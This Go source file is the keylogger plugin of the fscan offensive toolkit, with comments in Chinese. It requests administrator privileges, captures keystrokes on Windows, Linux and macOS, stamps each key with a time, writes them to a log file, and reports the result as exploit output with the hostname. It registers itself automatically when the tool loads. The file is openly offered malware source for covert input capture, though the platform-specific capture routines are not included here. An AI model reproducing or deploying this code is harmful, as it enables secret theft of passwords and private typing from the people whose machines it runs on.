package keylogger import ( "context" "fmt" "os" "runtime" "strings" "sync" "time" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/plugins/base" "github.com/shadow1ng/fscan/plugins/local" ) // KeyloggerPlugin 键盘记录插件 - 使用简化架构 type KeyloggerPlugin struct { *local.BaseLocalPlugin outputFile string duration time.Duration isRunning bool stopChan chan struct{} keyBuffer []string bufferMutex sync.RWMutex } // NewKeyloggerPlugin 创建键盘记录插件 - 简化版本 func NewKeyloggerPlugin() *KeyloggerPlugin { // 从全局参数获取配置 outputFile := common.KeyloggerOutputFile if outputFile == "" { outputFile = "keylog.txt" // 默认输出文件 } duration := time.Duration(common.KeyloggerDuration) * time.Second if duration <= 0 { duration = 60 * time.Second // 默认记录60秒 } metadata := &base.PluginMetadata{ Name: "keylogger", Version: "1.0.0", Author: "fscan-team", Description: "跨平台键盘记录插件,支持Windows、Linux和macOS系统的键盘输入捕获", Category: "local", Tags: []string{"local", "keylogger", "monitoring", "cross-platform"}, Protocols: []string{"local"}, } plugin := &KeyloggerPlugin{ BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), outputFile: outputFile, duration: duration, stopChan: make(chan struct{}), keyBuffer: make([]string, 0), } // 支持所有主要平台 plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) // 需要管理员权限访问键盘输入 plugin.SetRequiresPrivileges(true) return plugin } // Initialize 初始化插件 func (p *KeyloggerPlugin) Initialize() error { common.LogInfo(fmt.Sprintf("初始化键盘记录插件 - 平台: %s", runtime.GOOS)) // 检查输出文件路径权限 if err := p.checkOutputFilePermissions(); err != nil { return fmt.Errorf("输出文件权限检查失败: %v", err) } // 检查平台特定的权限和依赖 if err := p.checkPlatformRequirements(); err != nil { return fmt.Errorf("平台要求检查失败: %v", err) } return p.BaseLocalPlugin.Initialize() } // Scan 重写扫描方法以确保调用正确的ScanLocal实现 func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { return p.ScanLocal(ctx, info) } // ScanLocal 执行键盘记录 - 简化版本 func (p *KeyloggerPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { common.LogBase("开始键盘记录...") // 启动键盘记录 err := p.startKeylogging(ctx) if err != nil { return &base.ScanResult{ Success: false, Error: err, }, nil } result := &base.ScanResult{ Success: true, Service: "Keylogger", Banner: fmt.Sprintf("键盘记录已完成 - 输出文件: %s 平台: %s 记录时长: %v", p.outputFile, runtime.GOOS, p.duration), Extra: map[string]interface{}{ "output_file": p.outputFile, "platform": runtime.GOOS, "duration": p.duration.String(), "keys_captured": len(p.keyBuffer), }, } return result, nil } // startKeylogging 启动键盘记录 func (p *KeyloggerPlugin) startKeylogging(ctx context.Context) error { p.isRunning = true defer func() { p.isRunning = false }() common.LogInfo(fmt.Sprintf("开始记录键盘输入,时长: %v,输出文件: %s", p.duration, p.outputFile)) // 创建超时上下文 timeoutCtx, cancel := context.WithTimeout(ctx, p.duration) defer cancel() // 根据平台启动相应的键盘记录 var err error switch runtime.GOOS { case "windows": err = p.startWindowsKeylogging(timeoutCtx) case "linux": err = p.startLinuxKeylogging(timeoutCtx) case "darwin": err = p.startDarwinKeylogging(timeoutCtx) default: err = fmt.Errorf("不支持的平台: %s", runtime.GOOS) } if err != nil { return fmt.Errorf("键盘记录失败: %v", err) } // Windows平台已经实时写入文件,其他平台保存到文件 if runtime.GOOS != "windows" { if err := p.saveKeysToFile(); err != nil { common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err)) } } else { common.LogInfo("Windows平台已实时写入文件,无需再次保存") } common.LogInfo(fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件", len(p.keyBuffer))) return nil } // checkOutputFilePermissions 检查输出文件权限 func (p *KeyloggerPlugin) checkOutputFilePermissions() error { // 尝试创建或打开输出文件 file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600) if err != nil { return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err) } file.Close() return nil } // checkPlatformRequirements 检查平台特定要求 func (p *KeyloggerPlugin) checkPlatformRequirements() error { switch runtime.GOOS { case "windows": return p.checkWindowsRequirements() case "linux": return p.checkLinuxRequirements() case "darwin": return p.checkDarwinRequirements() default: return fmt.Errorf("不支持的平台: %s", runtime.GOOS) } } // addKeyToBuffer 添加按键到缓冲区 func (p *KeyloggerPlugin) addKeyToBuffer(key string) { p.bufferMutex.Lock() defer p.bufferMutex.Unlock() timestamp := time.Now().Format("2006-01-02 15:04:05") entry := fmt.Sprintf("[%s] %s", timestamp, key) p.keyBuffer = append(p.keyBuffer, entry) } // saveKeysToFile 保存键盘记录到文件 func (p *KeyloggerPlugin) saveKeysToFile() error { p.bufferMutex.RLock() defer p.bufferMutex.RUnlock() if len(p.keyBuffer) == 0 { common.LogInfo("没有捕获到键盘输入") return nil } file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) if err != nil { return fmt.Errorf("无法打开输出文件: %v", err) } defer file.Close() // 写入头部信息 header := fmt.Sprintf("=== 键盘记录日志 ===\n") header += fmt.Sprintf("开始时间: %s\n", time.Now().Add(-p.duration).Format("2006-01-02 15:04:05")) header += fmt.Sprintf("结束时间: %s\n", time.Now().Format("2006-01-02 15:04:05")) header += fmt.Sprintf("平台: %s\n", runtime.GOOS) header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer)) header += fmt.Sprintf("========================\n\n") if _, err := file.WriteString(header); err != nil { return fmt.Errorf("写入头部信息失败: %v", err) } // 写入键盘记录 for _, entry := range p.keyBuffer { if _, err := file.WriteString(entry + "\n"); err != nil { return fmt.Errorf("写入键盘记录失败: %v", err) } } return nil } // GetLocalData 获取键盘记录本地数据 func (p *KeyloggerPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { data := make(map[string]interface{}) data["plugin_type"] = "keylogger" data["platform"] = runtime.GOOS data["output_file"] = p.outputFile data["duration"] = p.duration.String() data["keys_captured"] = len(p.keyBuffer) data["is_running"] = p.isRunning if hostname, err := os.Hostname(); err == nil { data["hostname"] = hostname } return data, nil } // ExtractData 提取数据 func (p *KeyloggerPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { return &base.ExploitResult{ Success: true, Output: fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件,保存到: %s", len(p.keyBuffer), p.outputFile), Data: data, Extra: map[string]interface{}{ "output_file": p.outputFile, "keys_captured": len(p.keyBuffer), "platform": runtime.GOOS, "duration": p.duration.String(), "status": "completed", }, }, nil } // GetInfo 获取插件信息 func (p *KeyloggerPlugin) GetInfo() string { var info strings.Builder info.WriteString("跨平台键盘记录插件\n") info.WriteString(fmt.Sprintf("输出文件: %s\n", p.outputFile)) info.WriteString(fmt.Sprintf("记录时长: %v\n", p.duration)) info.WriteString("支持平台: Windows, Linux, macOS\n") info.WriteString("功能: 捕获和记录键盘输入事件\n") info.WriteString("要求: 管理员权限,平台特定的输入访问权限\n") return info.String() } // RegisterKeyloggerPlugin 注册键盘记录插件 func RegisterKeyloggerPlugin() { factory := base.NewSimplePluginFactory( &base.PluginMetadata{ Name: "keylogger", Version: "1.0.0", Author: "fscan-team", Description: "跨平台键盘记录插件,支持Windows、Linux和macOS系统的键盘输入捕获", Category: "local", Tags: []string{"keylogger", "local", "monitoring", "cross-platform"}, Protocols: []string{"local"}, }, func() base.Plugin { return NewKeyloggerPlugin() }, ) base.GlobalPluginRegistry.Register("keylogger", factory) } // init 插件注册函数 func init() { RegisterKeyloggerPlugin() }